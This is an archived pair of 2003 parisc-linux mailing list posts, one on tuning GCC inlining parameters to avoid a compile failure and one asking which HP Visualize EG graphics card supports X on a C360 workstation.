X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 00:49:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B3C9482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 00:49:04 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19TFh8-00031T-00; Fri, 20 Jun 2003 08:48:23 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 20 Jun 2003 08:49:00 +0200
In-Reply-To: <3ED71F6D000076F1@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18709

Hello again Dave,

> > Ah, in fact I well read it also but do not figure out because of man
comment:
> > "max-inline-insns
> >    If an function contains more than this many instructions, it
> >    will not be inlined.  This option is precisely equival
>nt to
> >    -finline limit.
> > "
> >
> > Anyway, I try 300, 200, 100 and stop at 50 without any more success :-(
> > (I can still try lower?)
>

Could it be different in 3.3? I try with 5 and no success but...

> Actually, I see that the `v
>l' from -finline-limit sets the parameters
> as follows in 3.4:
>
>       set_param_value ("max-inline-insns", val);
>       set_param_value ("max-inline-insns-single", val/2);
>       set_param_value ("max-inline-insns-auto", val/2);
>       set
>param_value ("max-inline-insns-rtl", val);
>       if (val/4 < MIN_INLINE_INSNS)
>	{
> 	  if (val/4 > 10)
>	    set param_value ("min-inline-insns", val/4);
> 	  else
> 	    set_param_value ("min-inline-insns", 10);
> 	}
>
> You might also try
>-fno-default-inline and -fno-inline, but it's
> looking as if inlining isn't the driving factor in the size of
> the routine.

Yes the inlining is one factor:

The first works (see <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/0
>0202.html>
;) and certainly the second too;

but also a better news:
(I definitely need to clean my glasses: in man default -finline-limit=600)

and it so works with -finline-limit= something between 350 (works) and 400
(failled). Now I am curio
>s to see the differences between --param and this
-finline-limit (if i have some time)?

===

Sorry to reply to myself but I continue my test and reading again gcc man
(well all gcc-3.0, -3.2 and -3.3 are installed on this box and I would also
have to prefer to read man -l /usr/share/man/man1/gcc-3.3.1.gz).

And also re-reading <http://gcc.gnu.org/PR?10160> 

--param max-inline-insns=180 ... 5 # :( it fails
but otc
--param max-inline-insns-single=180 # ;) it works also (even if compile time
is
long versus -finline-limit=300) 

So looks like very much PR=10160 excepted that here it is not only a performance
pb but also a failure of compilation.


Thanks for you understand,
    Joel

ps: sorry also for bad quoting (pb with isp webmail)


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zlatan Jukic" <zlatan.jukic@fh-vorarlberg.ac.at>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Visualize EG card on HP PARISC C360
Date: Fri, 20 Jun 2003 11:30:11 +0200
Organization: FH-Vorarlberg
Lines: 913
Approved: news@gmane.org
Message-ID: <1EB1A4E066D0D411BD330008C79F06AE022EC553@yang.tvlbg.ac.at>
References: <1EB1A4E066D0D411BD330008C79F06AE0251B806@yang.tvlbg.ac.at>
Reply-To: <zlatan.jukic@fh-vorarlberg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0000_01C3371F.70A91970"
X-Trace: ger.gmane.org 1416622527 26887 80.91.229.3 (22 Nov 2014 02:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:27 +0000 (UTC)
Cc: <grundler@parisc-linux.org>,
	<parisc-linux@lists.parisc-linux.org>
To: "'Jesse Dougherty'" <jesse@cypress-tech.com>,
	"'Derek Engelhaupt'" <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 20 03:35:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gnu.uclv.net (gnu.uclv.net [193.170.2.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9632482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jun 2003 03:35:36 -0600 (MDT)
Original-Received: from allian.uclv.net (allian.uclv.net [193.170.2.117])
	by gnu.uclv.net (8.12.8/8.12.8) with ESMTP id h5K9ZA4W053228
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 20 Jun 2003 11:35:11 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
Original-Received: from ZJPC (zj-pc.dh.uclv.net [193.170.103.157])
	(authenticated bits=0)
	by allian.uclv.net (8.12.8/8.12.8) with ESMTP id h5K9YEMr087075;
	Fri, 20 Jun 2003 11:34:14 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE0251B806@yang.tvlbg.ac.at>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18710

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C3371F.70A91970
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello Jesse, Hi all,

=20

As said, I have a fx4-card, which unfortunately does not support the X
Windows system in my machine.=20

=20

I need, after the suggestion of Grant and Derek a "Visualize EG HSC =
*PCI*
card". =20

Derek used this card for its HP PA-RISC C360, because this card supports
X-Window-system.

=20

Before I decide I must know whether your "A4977A Visualize EG Graphics =
card"
is the same version of the card as the "Visualize EG HSC *PCI* ".=20

=20

Better said:  Which, of your cards, is "Visualize EG HSC *PCI* card" ?=20

=20

What means the abbreviation "HSC" ?

=20

Thanks for all your assistance,

Kind regards, Zlatan

=20

-----Original Message-----
From: Jesse Dougherty [mailto:jesse@cypress-tech.com]=20
Sent: Donnerstag, 19. Juni 2003 19:02
To: Derek Engelhaupt
Cc: Jukic Zlatan; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360

=20

Hi Derek, thanks for the plug. We do have the A4977A and A4450A graphics
cards for $125.00 each, the converter is $25.00.=20

Thanks=20
Jesse=20
Cypress Technology Inc=20
727-557-0911=20

Derek Engelhaupt wrote:=20

You will need one of the following cards:  A4977A (PCI), A4450A (GSC), =
or
A4451A (GSC dual head).  Part numbers are listed below.  You will also =
need
an EVC to 15-pin converter for all of these cards and that part number =
is
listed below also.  All of this info came from partsurfer.hp.com (no =
"www"
in front of it).  There is a PCI EG card for sale on Ebay:
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem
<http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3D3031053367&category=
=3D1122
1> &item=3D3031053367&category=3D11221 Looks like Cypress Tech (
sales@cypress-tech.com) have some of the A4450A GSC cards, but I've =
never
had any dealings with them.  Their prices on Ebay seem high though.   =
Good
luck.=20


=20


A4450-66501

636.00


=20


VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe =
graphics -
Includes color recovery (P/O A4450A)=20

=20


=20


A4451-66501

1644.00


=20


Dual VISUALIZE-EG graphic accelerator board - For 2D and 3D wireframe
graphics - Includes color recovery (A4451A)=20

=20


=20


1253-0635

28.00


=20


Enhanced Video Connector (EVC) video adapter cable - EVC(M) to 15-pin(F) =
-
7.87in (0.2m) long - Used to connect EVC video output to 15-pin monitor=20

=20


=20


A4977-66501


=20


VIZUALIZE-EG/PCI=20


Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at> wrote:=20

Hello Derek and all,

Thank you for your assistance.  Thank you Grant, too!=20

You already tested this card (Vis EG HSC) on your HP-Visualize C360 =
machine.
The X-Windows system should be started in this case. =20

Can you say me please, where can I find/order and buy this card?=20

Thank you very much,=20

Kind regards, Zlatan=20

-----Original Message-----=20
From: Derek Engelhaupt [mailto:derekengelhaupt@rocketmail.com]=20
Sent: Mittwoch, 18. Juni 2003 18:00=20
To: Grant Grundler; Jukic Zlatan=20
Cc: parisc-linux@lists.parisc-linux.org=20
Subject: Re: [parisc-linux] Re: Visualize EG card on HP PARISC C360=20

Yes, there is an HSC EG card.  Used it in my C360 before I sold it.  The =
PCI
version of the card has more memory on it though.

derek

Grant Grundler <grundler@parisc-linux.org> wrote:=20

On Tue, Jun 17, 2003 at 04:17:02PM +0200, Zlatan Jukic wrote:


> I could not start unfortunately the X-Windows system, because it is =
not=20
> supported by Fx-4 video card.?!=20

correct=20

> My question is here: Must I insert another card (and which??), in =
order to

> start X-Windows-system?=20

> According to Debian HPPA, the Visualize EG should correct to function. =


yes. *PCI* version of the card.=20
Vis-EG HSC card might also work.=20

> This card is a 24-bit-video-card, which is recognized in the best way
under=20
> Linux as "Coral" with HP 715-64,=20

Is that really a Vis-EG HSC card?=20
Can you post "dmesg" output where STI describes the card?=20

grant=20
_______________________________________________=20
parisc-linux mailing list=20
parisc-linux@lists.parisc-linux.org=20
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


  _____ =20


Do you Yahoo!?


SBC
<http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.yahoo.co=
m/sbc
/>  Yahoo! DSL - Now only $29.95 per month!


  _____ =20


Do you Yahoo!?=20
SBC
<http://pa.yahoo.com/*http:/rd.yahoo.com/evt=3D1207/*http:/promo.yahoo.co=
m/sbc
/>  Yahoo! DSL - Now only $29.95 per month!


------=_NextPart_000_0000_01C3371F.70A91970
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;}
p
	{margin-right:0cm;
	margin-left:0cm;
	font-size:12.0pt;
	font-family:"Times New Roman";}
span.emailstyle18
	{font-family:Arial;
	color:navy;}
span.EmailStyle19
	{font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dblue>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Hello Jesse, Hi =
all,</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>As said, I have a fx4-card, which
unfortunately does not support the X Windows system in my machine. =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I need, after the suggestion of =
Grant and
Derek a </span></font><b><i><u><font size=3D2 face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;background:yellow;font-weight:bold;font-style:it=
alic'>&quot;Visualize
EG HSC *PCI* card</span></font></u></i></b><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>&quot;<font =
color=3Dnavy><span
style=3D'color:navy'>.&nbsp; </span></font></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Derek used this card for its =
</span></font><b><i><u><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;background:
yellow;font-weight:bold;font-style:italic'>HP PA-RISC =
C360</span></font></u></i></b><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'>, because this card supports =
X-Window-system.</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Before I decide I must know whether =
your </span></font><b><u><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;font-weight:
bold'>&quot;A4977A Visualize EG Graphics =
card&quot;</span></font></u></b><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'> is the same version of the card as the =
</span></font><b><u><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;font-weight:
bold'>&quot;Visualize EG HSC *PCI* &quot;.</span></font></u></b><font =
size=3D2
color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'> </span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Better said:&nbsp; =
</span></font><b><i><u><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;background:
yellow;font-weight:bold;font-style:italic'>Which</span></font></u></i></b=
><font
size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;
color:navy'>, of your cards, is </span></font><b><i><u><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>&quot;Visualize EG HSC *PCI* =
card</span></font></u></i></b><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'>&quot; ?<font
color=3Dnavy><span style=3D'color:navy'> =
</span></font></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>What means the abbreviation =
&quot;HSC&quot;
?</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thanks for all your =
assistance,</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Kind regards, =
Zlatan</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Jesse Dougherty
[mailto:jesse@cypress-tech.com] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Donnerstag, 19. =
Juni 2003
19:02<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Derek Engelhaupt<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b> Jukic Zlatan;
parisc-linux@lists.parisc-linux.org<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Re: =
[parisc-linux] Re:
Visualize EG card on HP PARISC C360</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>Hi Derek, =
thanks for the
plug. We do have the A4977A and A4450A graphics cards for $125.00 each, =
the converter
is $25.00. </span></font></p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>Thanks <br>
Jesse <br>
</span></font>Cypress Technology Inc <br>
727-557-0911 </p>

<p style=3D'margin-left:36.0pt'><font size=3D3 face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'>Derek Engelhaupt wrote: </span></font></p>

<blockquote style=3D'margin-top:5.0pt;margin-bottom:5.0pt' TYPE=3DCITE>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>You will need =
one of the
following cards:&nbsp; A4977A (PCI), A4450A (GSC), or A4451A (GSC dual
head).&nbsp; Part numbers are listed below.&nbsp; You will also need an =
EVC to
15-pin converter for all of these cards and that part number is listed =
below
also.&nbsp; All of this info came from partsurfer.hp.com (no =
&quot;www&quot; in
front of it).&nbsp; There is a PCI EG card for sale on Ebay: <a
href=3D"http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3D30310533=
67&amp;category=3D11221">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&am=
p;item=3D3031053367&amp;category=3D11221</a>
Looks like Cypress Tech (<b><span style=3D'font-weight:bold'> <a
href=3D"mailto:sales@cypress-tech.com">sales@cypress-tech.com</a></span><=
/b>)
have some of the A4450A GSC cards, but I've never had any dealings with
them.&nbsp; Their prices on Ebay seem high though.&nbsp;&nbsp; Good =
luck. </span></font></p>

<table class=3DMsoNormalTable border=3D1 cellspacing=3D0 cellpadding=3D0 =
width=3D562
 style=3D'width:421.3pt;margin-left:36.0pt'>
 <tr>
  <td colspan=3D3 bgcolor=3D"#CCCCCC" =
style=3D'border:none;background:#CCCCCC;
  padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
  </td>
 </tr>
 <tr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
  style=3D'font-size:12.0pt'>A4450-66501</span></font></p>
  </td>
  </nobr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'><nobr>
  <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>636.00</span></font></p>
  </nobr></td>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <table class=3DMsoNormalTable border=3D0 cellspacing=3D0 =
cellpadding=3D0>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal align=3Dcenter =
style=3D'text-align:center'><font size=3D3
    face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
    </td>
   </tr>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
    style=3D'font-size:12.0pt'>VISUALIZE-EG graphic accelerator board - =
For 2D
    and 3D wireframe graphics - Includes color recovery (P/O =
A4450A)&nbsp;</span></font></p>
    </td>
   </tr>
  </table>
  <p class=3DMsoNormal></p>
  </td>
 </tr>
</table>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;display:none'>&nbsp;</span></font></p>

<table class=3DMsoNormalTable border=3D1 cellspacing=3D0 cellpadding=3D0 =
width=3D562
 style=3D'width:421.3pt;margin-left:36.0pt'>
 <tr>
  <td colspan=3D3 bgcolor=3D"#CCCCCC" =
style=3D'border:none;background:#CCCCCC;
  padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
  </td>
 </tr>
 <tr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
  style=3D'font-size:12.0pt'>A4451-66501</span></font></p>
  </td>
  </nobr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'><nobr>
  <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>1644.00</span></font></p>
  </nobr></td>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <table class=3DMsoNormalTable border=3D0 cellspacing=3D0 =
cellpadding=3D0>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal align=3Dcenter =
style=3D'text-align:center'><font size=3D3
    face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
    </td>
   </tr>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
    style=3D'font-size:12.0pt'>Dual VISUALIZE-EG graphic accelerator =
board - For
    2D and 3D wireframe graphics - Includes color recovery =
(A4451A)&nbsp;</span></font></p>
    </td>
   </tr>
  </table>
  <p class=3DMsoNormal></p>
  </td>
 </tr>
</table>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;display:none'>&nbsp;</span></font></p>

<table class=3DMsoNormalTable border=3D1 cellspacing=3D0 cellpadding=3D0 =
width=3D562
 style=3D'width:421.3pt;margin-left:36.0pt'>
 <tr>
  <td colspan=3D3 bgcolor=3D"#E6E6E6" =
style=3D'border:none;background:#E6E6E6;
  padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
  </td>
 </tr>
 <tr>
  <td valign=3Dtop bgcolor=3D"#E6E6E6" =
style=3D'background:#E6E6E6;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
  style=3D'font-size:12.0pt'>1253-0635</span></font></p>
  </td>
  </nobr>
  <td valign=3Dtop bgcolor=3D"#E6E6E6" =
style=3D'background:#E6E6E6;padding:3.0pt 3.0pt 3.0pt 3.0pt'><nobr>
  <p class=3DMsoNormal align=3Dright style=3D'text-align:right'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>28.00</span></font></p>
  </nobr></td>
  <td valign=3Dtop bgcolor=3D"#E6E6E6" =
style=3D'background:#E6E6E6;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <table class=3DMsoNormalTable border=3D0 cellspacing=3D0 =
cellpadding=3D0>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal align=3Dcenter =
style=3D'text-align:center'><font size=3D3
    face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
    </td>
   </tr>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
    style=3D'font-size:12.0pt'>Enhanced Video Connector (EVC) video =
adapter cable
    - EVC(M) to 15-pin(F) - 7.87in (0.2m) long - Used to connect EVC =
video
    output to 15-pin monitor&nbsp;</span></font></p>
    </td>
   </tr>
  </table>
  <p class=3DMsoNormal></p>
  </td>
 </tr>
</table>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;display:none'>&nbsp;</span></font></p>

<table class=3DMsoNormalTable border=3D1 cellspacing=3D0 cellpadding=3D0
 style=3D'margin-left:36.0pt'>
 <tr>
  <td colspan=3D2 bgcolor=3D"#CCCCCC" =
style=3D'border:none;background:#CCCCCC;
  padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
  face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
  </td>
 </tr>
 <tr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
  style=3D'font-size:12.0pt'>A4977-66501</span></font></p>
  </td>
  </nobr>
  <td valign=3Dtop bgcolor=3D"#CCCCCC" =
style=3D'background:#CCCCCC;padding:3.0pt 3.0pt 3.0pt 3.0pt'>
  <table class=3DMsoNormalTable border=3D0 cellspacing=3D0 =
cellpadding=3D0>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal align=3Dcenter =
style=3D'text-align:center'><font size=3D3
    face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>
    </td>
   </tr>
   <tr>
    <td style=3D'padding:0cm 0cm 0cm 0cm'>
    <p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span
    style=3D'font-size:12.0pt'>VIZUALIZE-EG/PCI&nbsp;</span></font></p>
    </td>
   </tr>
  </table>
  <p class=3DMsoNormal></p>
  </td>
 </tr>
</table>

<!--END OF OUTPUT FROM showpartlist-->

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'><br>
<b><i><span style=3D'font-weight:bold;font-style:italic'>Zlatan Jukic
&lt;zlatan.jukic@fh-vorarlberg.ac.at&gt;</span></i></b> wrote: =
</span></font></p>

<div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Hello
Derek and all,</span></font></p>

</div>

<p class=3DMsoNormal style=3D'margin-left:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Thank
